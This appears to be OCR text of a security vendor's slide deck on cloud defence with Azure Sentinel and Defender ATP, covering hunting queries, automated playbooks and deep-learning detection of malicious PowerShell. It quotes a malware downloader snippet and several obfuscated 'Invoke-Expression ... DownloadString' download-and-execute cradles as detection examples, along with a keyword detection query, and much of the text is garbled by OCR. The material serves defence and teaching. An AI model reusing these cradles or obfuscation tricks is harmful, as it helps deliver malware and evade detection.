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a hew world to defend_
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Cloud

Azure Azure VM Azure PaaS Azure SQL
Storage (laasS) Service Database
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cloud defender mindset_

On-premises
Server
Domain
Domain Admin
Pass the Hash
Private IPs

INGIES

RDP/SSH

1111111

On cloud

Services
Subscriptions
Subscription Admin
Credential Pivot
Public IPs
NSGs

Management APIs
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traditional siem’s require a lot of infrastructure and maintenance
collecting all the data and normalizing is a daunting task

a lot of signals; how do we make sense of it all

too many disconnected products

defending the cloud requires a different skill- and toolset



< - O o B | https://www.sisainfosec.com/americas/managed-detection-response-services-synergistic-soc/why-traditional-soc-is-a-failure/ S = Z\, 4

LOGIN GALLERY REGIONS v

®
SI SA HOME MDR SOLUTION SERVICES PRODUCTS TRAINING COMPANY CONTACT

Pay Security Speci

Why Traditional SOC is a Failure?

Machine Learning and PFl-Based
MDR Solution

o

Why Traditional SOC is a Failure?

Traditional SOC Failed to Identify Newer Forms of Cyber Attacks

Traditional SOC does not identify threats and respond to them in a timely manner. SISA investigated

various breaches and noticed that:

» Legacy products were not able to detect incidents

» Of the 24 breaches studied in 2017, traditional SOC issued zero alerts/detection. In some cases, even

logs pertaining to the period of attack were not present

v

VISA and MasterCard investigation reports also confirmed SISA findings. In fact, PCI Council had to issue

guidance document on log monitoring

v

Investment in traditional SOC continues to take place despite near zero ROI

v

Major organizations using traditional SOC were the hardest hit because they could not respond in a

timely manner

v

Most breach incidents happened in organizations with SOC deployed in their environment

Q
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— o

° ® » Home > Azure Sentinel
O _— | . a | \/ e | e | I I + Azure Sentinel - Overview x
- © Lt week (1721/2018-1272018) v
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AAzure Sentinel

Disk 1 of 2079

Windows Series

Disk format High-densty (144mb)
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Advanced hunting 2 Hep S

Get started rerShell downloads

+ New Save Last7 days  EB Create detection rule

// Finds PowerShell execution events that could invelve a download.
ProcessCreationEvents
uhere EventTime > ago(7d)
uhere FileName in (“powershell.exe", "POWERSHELL.EXE", “powershell ise.exe", "POWERSHELL_ISE.EXE")
| where ProcessCommandLine has "Net.WebClient™
or ProcessCommandLine has "DownloadFile”
or ProcessCommandLine has "Invoke-WebRequest™
8 or ProcessCommandLine has "Invoke-Shellcode”
or ProcessCommandLine contains "http:”
project EventTime, ComputerName, InitiatingProcessFileName, FileName, ProcessCommandLine
top 168 by EventTime

kusto-based )

unlimited scale

enterprise-grade platform
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connectors _

o

Azure AD
Identity Protection

dWs

p —
AWS

\/’ Symantec

Symantec

Microsoft Cloud
App Security

paloalto

NETWORKS

Palo Alto Networks

F:=RTINET

Fortinet

0

Azure Security
Center

i
CISCO

Cisco ASA

®

F5

Azure Advanced
Threat Protection

L( Barracuda

Barracuda

Check Point

SOFTWARE TECHNOLOGIES LTD

Check Point
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Azure Information
Protection

1

Office 365

©

Microsoft Defender ATP
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e Palo Alto network threat
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At 09:17 an Inbox
forwarding rule is created

At 09:16 a potential
Suspicious PowerShell
script is executed

Azure At 09:13 an Anonymous IP
Sentinel e (tor exit) is found

Wortell SOC

Potential data exfiltration!

At 09:13 an Unusual Login
is done from Kazachstan




use cases_

Case
Case |0 cdefbald-156b-489d-bd53-f357818B44Fd - PREVIEW

s Compromised Account leading to 0365
Mailbox Exfiltration

i H ' 9 .
High ~ . %5 New v pa Unassigned
SEVERITY i STATUS CAWMER
DESCRIPTION

This is an indication of a sign in by Nick Griffin from an unusual location (Dallas,
Texas, US) followed by a suspicious inbox forwarding rule being set on a user's
inbox, This may indicate that the account is compromised, and that the mailbox is
being used to exfiltrate information from your organization. The user Mick Griffin
(ngriffin@seccxp.ninja) created or updated an inbox forwarding rule that forwards
all incoming email to the external address pwnmezph3&&sw@gmail.com.

LAST MODIFICATION TIME
02/25/19, 08:21 PM

Alerts  Entities

wortell
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Bearch

ALERT NAME

Unusual login

Anonymous IP address
Suspicious PowerShell script

Suspicious inbox forwarding
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@ for” -
Somebody asked me about "automated
threat hunting". While researching my
response, | realized that @RobertMLee and
@cnoanalysis already said it best in "The
Myth of Automated Hunting". Quote:
"Hunting Exists Where Automation Ends"
sans.org/cyber-security ...

3:20 PM - 31 Jan 2019

27 Retweets 104 Likes cS e o a 0 Q z & 0

Q 4 T 27 ¥ 104 &




security operations center_ wortell
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(advanced)
hunting

TIER 3
Proactive Hunting and Advanced Forensics

|
TIER 2
Deeper Analysis and Remediation

TIER 1 |
0 High Speed Remediation - : [ :

I AUTOMATION
Automated Investigation & Remediation




time series visualization_ wortell
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Scenario: find anomalies in network traffic

let starttime = 30d;

let endtime = 1d;

let timeframe = 1h;

let PrivatelPregex = @'A127\.|10\.|A172\.1[6-9]\.| 2172\.2[0-9]\.| ~172\.3[0-1]\.| *192\.168\.;
let TimeSeriesData = CommonSecurityLog

| where TimeGenerated between (startofday(ago(starttime))..startofday(ago(endtime)))

| where DeviceVendor =="Palo Alto Networks" and Activity == "TRAFFIC"

| where isnotempty(DestinationlIP) and isnotempty(SourcelP)

| extend DestinationlpType = iff(DestinationIP matches regex PrivatelPregex,"private" ,"public" )
| where DestinationlpType =="public"

| project TimeGenerated, SentBytes,DeviceVendor

| make-series TotalBytesSent=sum(SentBytes) on TimeGenerated from startofday(ago(starttime)) to
startofday(ago(endtime)) step timeframe by DeviceVendor;

TimeSeriesData

v ["2019-04-01T06:00:00.0000000Z","2019-04-01T07:00:00.0000000Z","...  [B73T13587,882187669,852506841,898793650,891598085,893022551,...  Palo Alto Networks

> TimeGenerated ["2019-04-01T06:00:00.0000000Z", “2019-04-01T07:00:00.0000000Z", " 2019-04-01T08:00:00.0000000Z","2019-04-01T09:00:00.0000000Z", " 2019-04-01T10:00:00.00000]

» TotalBytesSent [B73713587,882187669,852506841,898792650,891598085,893022551,922677236,856663011,830763825,855292297,867265088,783423911,7978T6828,T90012871,8525

deviceVendor Palo Alto Networks




time series visualization_ wortell
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TimeSeriesData

| extend (baseline,seasonal,trend,residual) = series_decompose(TotalBytesSent)
| render timechart with (title="Palo Alto Time Series decomposition")

Completed. Showing results from the custom time range. @ 000000930 B 1records [

ZETABLE 4% Line ~ TimeGenerated » TotalBytesSent~ DeviceVendor v Sum

Palo Alto Time Series decomposition

Legend
@ Palo Alto MNetworks

-

-
wy
g
@
=
2

21]19'{}1;|:|5 ] 2019-0:4-05 (500 2019-04-13 0000 2019-04-17 0000 2019-04-21 D000
TimeGenerated [UTC]

2019-04-25 0000 2019-04-29 D000 2019-05-03 0000
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an example
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1+1=3 wortell
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Scenario: CERT publishes new IOC’s based on threat intelligence, and
SOC wants to know if endpoints connected with those IP’s in past 30
days, and if so: isolate the endpoint & follow-up with response team.

Wortell SOC,
MISP Mimemeld,

or any other

Azure Microsoft

Threat 4 Azure Logic

Sentinel Defender ATP Intelligence Feed Apps




day zero_
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Y

Azure Sentinel executes security
automation playbook

CERT releases MineMeld
new report pushes loCs
with loCs into I1SG
i.e. loCs i.e. MDATP
identifying potentially l'
new Gootkit produces —
campain alerts Nlorts queve
v _

timeline

visibility
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Security Playbook automatically start MineMeld
MDATP Advanced Hunting recursive pushes loCs
searches to find endpoints previously into Azure -
address by malware campain Sentinel
- CERT releases -
- ~ mmm) | previuosly with 1oCs —_—
— - infected ' —
i e
- Remediate / — -
Isolate — -
B
Adennsed Huriing (Fovdiand . For each 2 ﬂ Ieolate machne e
P Gea. [ P
s - .
et o o- P ’ '

timeline

| J Tt" T\” J

Azure Sentinel executes security
automation playbook

visibility



automate

Microsoft Azure L Search resources, services, and docs

» Home > Azure Sentinel - Cases > Case > Alert playbocks > Logic Apps Designer
+ Logic Apps Designer
#
A save <> Code view [l Templates Bl connectors 2 Help
17 |

m When a response to an Azure Security Center alert is triggered

° I}

. Create incident in Service Now(Preview)

lo

Post message to SOC channel(Preview)

Jo
E Send approval email
Condition

l:‘ I_E Selected... x ” is equal to \v4 H Block user and IP

If true If false
Block user in Azure AD

BlockIPPaloalto

l

i Add an action

+ New step

Close incident in Service Now(Preview)

admin@contoso.com

@

CONTOSO.COM

100%

Q
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—‘ Playbooks

163)

Azure Logic Apps
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MITRE ATT&CK MATRIX™

. Correctly detected . Not detected

Partially detected Not tested
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Microsoft Defender Security Center
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-
il

Ay © w Db @

&

0

Settings

General

Data retention
Alert notifications
Power Bl reports

Advanced features

Permissions

Roles

Machine groups

APls

SIEM

Rules

File hashes IP addresses URLs/Domains

™ Import -+ Add indicator Available capacity: 1/5000 [T Customize columns { Export 30 items per page
URL/Domain Application Action Alert severity Scope Expires on Title
http://ix.ioﬂxqa Alert and block mmm High All machines ExposedDockerAPI
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&

Attive Difectory,
reconnaissance BSing
BloodHoundAD: Step-by<Step
Guide

BloodiopmeARiSte» b xii@eting data from'@n
Active Birectogy 8n: i th




investigate_

p —_ e sw{es‘ RS

13.72.64.40

» Home > Azure Sentinel - Cases ? Investigation
+ Investigation
~ REVIEW
D Unde @
= |
= . . ® .
i Failed logons anomaly A\ Medium pa admin@contoso.com
Case Severity Owner
9
@. ra3050Webapisn
rdfilesry
02 i EP
rd3040webapisrv
EP rdindexdsrv
fd3020webapisry EP
rdbdckoffice*
=
<5 download rdindex3srv
rdindex5srv
Anomalo jgn=in to m...
Suspicigus Powershell ...
@
darcyrobles X G
Failed logons anomaly Box

New (5 2/14/2019, 1:32:00 PM

Last modification time

|'\2‘| darcyrobles E

Timeling

Details

darcyrobles Info

contoso.com 0%
Entities

S5-1-5-21-917267712-1342860078-1792151419-500
994f97fe-644b-4bda-af55-a3babebal227

Darcy.R\;l bles

darc;'m bl‘es

account

Oxb390b

Insights

Thi i related alerts
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case study_

detecting malicious powershell commands




malicious usage of powershell_ wortell
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2076, Symantec 2017, Firekye

$ne = $MyInvocation.MyCommand.Path

$nurl = -
$noutput = "$env:TMP\yam.exe" o
$vc = New-Object System.Net.WebClient -
$vc.DownloadFile($nurl, $noutput) Mﬂ N " ‘
copy $ne $HOME\SchTask. psl 099%,:;@:9;%3#!,@,@ @yﬁ%ﬁﬁwﬁﬁﬁw:?Lﬁv%:‘ivﬁ:“’?;@a";,:“';;%ilaf@%:;

copy $env:TMP\yam.exe $env:TMP\xe.exe

CVE-2017-10271 2018, IBM



powershell obfuscation_ wortell
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Invoke-Expression (New-Object System.Net.WebClient).DownloadString("https://bit.ly/L3glt")

Invoke-Expression (New-Object Net.WebClient).
"D oW NI OoAdSTRINgEg ("ht'+'tps://bit.ly/L3glt")

Invoke-Expression (New-Object "N e T ."We B C1l ie NT").
"DDOWNI oA dSTRINg"("ht'+"'tps://bit.ly/L3glt")

Invoke-Expression (& (GCM *w-0%) ""N'e'T°."We'B'C'1'i’e N'T").
"D0'W N 10Ad S TR i'N'g"('ht'+'tps://bit.ly/L3glt")

((${‘E‘X‘e‘C‘u‘T‘i‘o‘N‘C‘o‘N‘T‘e‘X‘T} ""I'N'Vok'eCommANd").
NewS cRip T k"((& (TGTCM *w-0%*)
"Ne T ."WeBC1li ") "DOWNI1IO0AdSTRIiINg"('ht'+'tps://bit.1ly/L3glt")))

m>



decoding powershell command lines_ wortell

Rules don't work well, because too many regexes
needs to be written

Classical machine learning doesn't work well,
because every command line is unique

No discernable pattern

Enterprise Security

Command line: before obfuscation

Invoke-Expression (New-Object
Net.WebClient).DownloadString(‘http://bit.ly/L3g1t")

Command line: after obfuscation

&("I"+ "nv" +"OK"+"e-EXPreSslon" ) (&( "new-O"+
"BJ"+"Ect") (‘Net' +'We'+'bClient" ) ).( 'dOWnIO!
+'aDS'+'TrinG").Invoke( (‘http://bi'+'tly/'+'L3" +'glt"))

Source: Bohannon, Daniel. “Invoke Obfuscation”, BlueHat 2016.



new approach needed_

 Deep Learning: contextual embedding

- Convert "words” to dense vectors

Paris
(o) A
Pas
Camera
SealWorld
Forroise d’OLFM'h

wortell

Enterprise Security

+ Captures semantic relationships
between “words”

queen —woman + man = king

man walked

‘5
R woman .
". “A‘. ()‘ swam

R walking o

/& /\O’\*

swimming

king

Male-Female Verb tense



an example_ wortell

Enterprise Security

Distinguish what doesn’t match

$i $j $k $true | $x

normal minimized maximized hidden

‘ bypass

Linear relationships

DownloadFile - $destfile + $str

]

DownloadString

Export-CSV’- $csv + $html = ’ConvertTo-html’



need a big dataset to learn_

ﬂ PowerShell Gallery

O

GitHub

368k unlabeled .psT
and .psm files

Tokenize

wortell

Enterprise Security

1.4M

distinct
tokens



productization_

Model trained multiple times per day
Size of data: 3.5M records/month
Completed within hours

Classification runs on demand
Completed within seconds

True False
Dataset . ..
positive rate positive rate
Previous Method 37% 0.1%
Deep Learning 89% 0.1%

52 points improvement!

wortell

Enterprise Security

Productized in Microsoft Defender ATP

Alert

Windows Defender Security Center

Cueue » & Susplclous Powershell commandline

Ol Suspicious Powershell commandline

Suspicious. Powershell commandling

15848 B Today Medmim

Mare information about this alert

Leiechon sounce

Windaws Defender ATP

A suspicious Powershell commandline was found on the machine. This commandline might be used during
irgfallatacn, exploration, o in Somi cases with Literdl movement actnaties which ane used h:,r attackers Lo irmvoke
modules. download external payloads, and get more information about the system. Attackers usually use Powershell
to bypass secunity protecton mechanisms by eoecuting their paylaad m memany without touchang the disk and
leanving any trace.

md.gxe” S "CAWINDOWSSysWOWED WindowsPowerShellyw 1 (hpowershelLexe” iex Senvwunnwbgy

Alert Process Tree

Paper: https://arxiv.org/abs/1905.09538



https://arxiv.org/abs/1905.09538

AAzu re sentinel :FUSION E‘nfpgs';.,tfu

Correlated rules
OQO (KQL)

Pre-built Machine
Learning models

Azure

Sentinel

Threat Detection and
Analysis
Bring your own ML cieces r ° L User Entity Behavior
models Y- o Analysis
ceeee. L Jd

N~



machine learning_

Completed. Showing results from the last 7 days.

B Table | Columns v

11/25/2019, 3:56:25.472 PM
1/25/2019, 3:56:25.472 PM
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.L )

databricks

c&r A

Machine Learning
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Use Case:
anomalous access to file shares
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user_225
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user 50

¥  items per page

@ 00:00:00.993
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] 20 records [3

Display time (UTC+00:00) ~

SecurityMLTest_CL
SecurityMLTest_CL
SecurityMLTest_CL
SecurityMLTest_CL
SecurityMLTest_CL
SecurityMLTest_CL
SecurityMLTest_CL
SecurityMLTest_CL
SecurityMLTest_CL
SecurityMLTest_CL
SecurityMLTest_CL
SecurityMLTest CL

SecurityMLTest CL

of 20 items




petter together_

wortell

Enterprise Security



protection across the attack kill chain_ wortell
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Microsoft Cloud App Security
Extends protection & conditional
access to other cloud apps

o @
Office 365 ATP Azu re AD Identity ﬁ
Malware detection, safe links, P -
and safe attachments entlty protecnon & conditional access " Exfiltrate data

'S o o z==c

;"\‘ Brute force account or use Attacker collects \'; Attacker accesses Azure Sentinel
Phishing Open N/, stolen a:ccou nt credentials reconnaissance & /' sensitive data
mail attachment conflguratlon data
> @ . N |
. ClickaURL N '
e > b‘ ......... Exploitation Command
"“*\ & Installation & Control
\ ' - -
——] L Microsoft Cloud SIEM
3 '
Browse to - - —
a website User account Attacker attempts  Privileged account Domain
is compromised lateral movement compromised compromised
o o o o
Windows Defender ATP Azure ATP
Endpoint Detection and Response Identity protection

(EDR) & End-poaint Protection (EPP)



ms threat intelligence center_

https://twitter.com/jdallman/status/1205179476830613506

GALLIUM

X i

\'/”\ /
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https://twitter.com/jdallman/status/1205179476830613506

demonstration
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FORRESTER’

Make No Mistake — Microsoft
Is A Security Company Now

Josh Zelonis, Principal Analyst  Mar 22 2019

https://go.forrester.com/blogs/make-no-mistake-microsoft-is-a-security-company-now/
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stay up to date_
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article

il

Hunting down crypto miners on Linux using

Microsoft’s Azure Security Center

Sy o
- {fvwwroan)

MeEH0a)
et weet .

: Ce [brue) ) oné
St cohams . g 5.?1,:,;‘.; hetld
e [status?) cooe.
WS ot em Oene // script oc

«Te? we.

FCeerror

. i ':(;.rv-mmx} nes4sda’
sorgt erce [brue)localconf
s & rput fase fun
‘et g oresentials (bgged
i/ sorgt wree address

b carweerd | @ » access denial /

samn sorpt srce [true] (Funk

g function gged:#

Protecting against malicious payloads over DNS
using Azure Sentinel

2

WWWwW.maartengoet.org

security.wortell.n|

i~


http://www.maartengoet.org/
https://security.wortell.nl/
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